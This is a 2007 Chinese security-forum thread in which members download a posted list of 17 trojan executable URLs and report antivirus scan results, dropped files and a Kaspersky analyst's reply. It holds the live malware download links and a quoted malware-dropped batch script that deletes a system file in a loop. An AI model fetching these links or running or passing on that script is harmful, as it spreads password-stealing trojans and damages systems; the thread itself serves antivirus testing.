木马下载地址 【17个】

wanglaoban

小心点击！

http://vip.u-uuu.cn/baidu.exe
http://xx.522love.cn/gm/11.exe
http://xx.522love.cn/gm/12.exe
http://xx.522love.cn/gm/13.exe
http://xx.522love.cn/gm/14.exe
http://xx.522love.cn/gm/15.exe
http://xx.522love.cn/gm/16.exe
http://xx.522love.cn/gm/17.exe
http://xx.522love.cn/gm/18.exe
http://xx.522love.cn/gm/19.exe
http://xx.522love.cn/gm/20.exe
http://xx.522love.cn/gm/21.exe
http://xx.522love.cn/gm/22.exe
http://xx.522love.cn/gm/23.exe
http://xx.522love.cn/gm/24.exe
http://xx.522love.cn/gm/25.exe
http://xx.522love.cn/gm/26.exe

【完】

mofunzone

baidu
11 13 16 17 18 19 22 23 25失效
剩下全灭
Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\24.exe'
C:\TDDOWNLOAD\
  24.exe
      [DETECTION] Contains detection pattern of the dropper DR/Delphi.Gen
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\12.exe'
C:\TDDOWNLOAD\
  12.exe
      [DETECTION] Is the Trojan horse TR/CrashSystem.C
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\14.exe'
C:\TDDOWNLOAD\
  14.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\15.exe'
C:\TDDOWNLOAD\
  15.exe
      [DETECTION] Is the Trojan horse TR/Crypt.CFI.Gen
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\20.exe'
C:\TDDOWNLOAD\
  20.exe
      [DETECTION] Is the Trojan horse TR/PSW.OnlineGames.ihd
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\21.exe'
C:\TDDOWNLOAD\
  21.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
      [INFO]      The file was deleted!


End of the scan: 2007年11月21日  16:42
Used time: 00:05 min

The scan has been done completely.

      0 Scanning directories
      6 Files were scanned
      6 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      6 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      0 Files not concerned
      0 Archives were scanned
      0 Warnings
      0 Notes

joyo

下来六七个,不过被红伞全灭了!

capsshift

这些马也太没水平了。全被红伞灭了。

wangjay1980

detected: virus Heur.AntiAV (modification)        File: E:\ÏÂÔØ»ùµØ\baidu.exe//NSPack
detected: Trojan program Trojan-PSW.Win32.OnLineGames.ihu        File: E:\ÏÂÔØ»ùµØ\12.exe//PE_Patch//UPack
detected: Trojan program Trojan-PSW.Win32.OnLineGames.iis        File: E:\ÏÂÔØ»ùµØ\14.exe//UPack
detected: Trojan program Trojan-PSW.Win32.QQPass.alw        File: E:\ÏÂÔØ»ùµØ\15.exe//UPX
detected: Trojan program Trojan-PSW.Win32.OnLineGames.ihd        File: E:\ÏÂÔØ»ùµØ\20.exe//UPack
detected: Trojan program Trojan-PSW.Win32.OnLineGames.iiv        File: E:\ÏÂÔØ»ùµØ\21.exe//UPack

没一个能过三重防御

sam.to

已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.ihu    檔案: C:\Documents and Settings\kato9096\桌面\111\12.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.iis    檔案: C:\Documents and Settings\kato9096\桌面\111\14.exe//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.QQPass.alw    檔案: C:\Documents and Settings\kato9096\桌面\111\15.exe//UPX
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.ihd    檔案: C:\Documents and Settings\kato9096\桌面\111\20.exe//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.iiv    檔案: C:\Documents and Settings\kato9096\桌面\111\21.exe//UPack
已隔離: 病毒 Heur.Trojan.Generic (修改)    檔案: C:\Documents and Settings\kato9096\桌面\111\baidu.exe//NSPack

一个是变种已上报，有１１个没有报，已上报，

capsshift

用微点来试一下。总共下载了7个文件，其余的已经失效了。

第一个。
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\12.EXE
木马程序生成以下文件:
1) C:\WINDOWS\SYSTEM32\OEIMPORT.DLL
是否删除木马程序及其衍生物?

第二个
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\14.EXE
1) C:\DFD1913437.BAT
是可疑程序!
试图删除文件!
是否阻止该进程继续运行?

那个BAT的内容

@echo off
:Loop
attrib "C:\WINDOWS\system32\verclsid.exe" -r -a -s -h
del "C:\WINDOWS\system32\verclsid.exe"
if exist "C:\WINDOWS\system32\verclsid.exe" goto Loop
del %0

第三个
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\15.EXE
木马程序生成以下文件:
1) C:\PROGRAM FILES\INTERNET EXPLORER\PLUGINS\SY_WIN7Z.JMP
2) C:\PROGRAM FILES\INTERNET EXPLORER\PLUGINS\WINSY_8Z.SYS
是否删除木马程序及其衍生物?

第四个
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\20.EXE
1) C:\DFD2001609.BAT
是可疑程序!
试图删除文件!
是否阻止该进程继续运行?
和上一个一样。

第五个
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\21.EXE
1) C:\DFD2062484.BAT
是可疑程序!
试图删除文件!
是否阻止该进程继续运行?

第六个
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\24.EXE
木马程序生成以下文件:
1) C:\PROGRAM FILES\INTERNET EXPLORER\INFOMS.SYS
2) C:\PROGRAM FILES\INTERNET EXPLORER\INFOMS.TDM
是否删除木马程序及其衍生物?

第七个
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\BAIDU.EXE
是可疑程序!
试图修改系统时间!
是否阻止该进程继续运行?


程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\MY DOCUMENTS\BAIDU.EXE
木马程序生成以下文件:
1) C:\WINDOWS\SYSTEM32\MIRCSOFT.EXE
是否删除木马程序及其衍生物?

全部被微点拦截了。

capsshift

不过,发现,微点虽然清除了改时间的病毒,但系统日期还是变了.

日期变为2005年10月31日了,时间未变.

sam.to

11.exe, 13.exe, 16.exe, 17.exe, 18.exe, 19.exe, 22.exe, 23.exe, 25.exe, 26.exe

No malicious code were found in these files.

24.exe - Trojan-Spy.Win32.Delf.uc,
baidu.exe - Virus.Win32.AutoRun.aep

New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Namestnikov Yury
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

Roboon

Roboon：程序:
D:\我的文档\桌面\11.EXE
木马程序生成以下文件:
1) C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\MSINFO\ATMQQ2.DLL
是否删除木马程序及其衍生物?
就测了一个。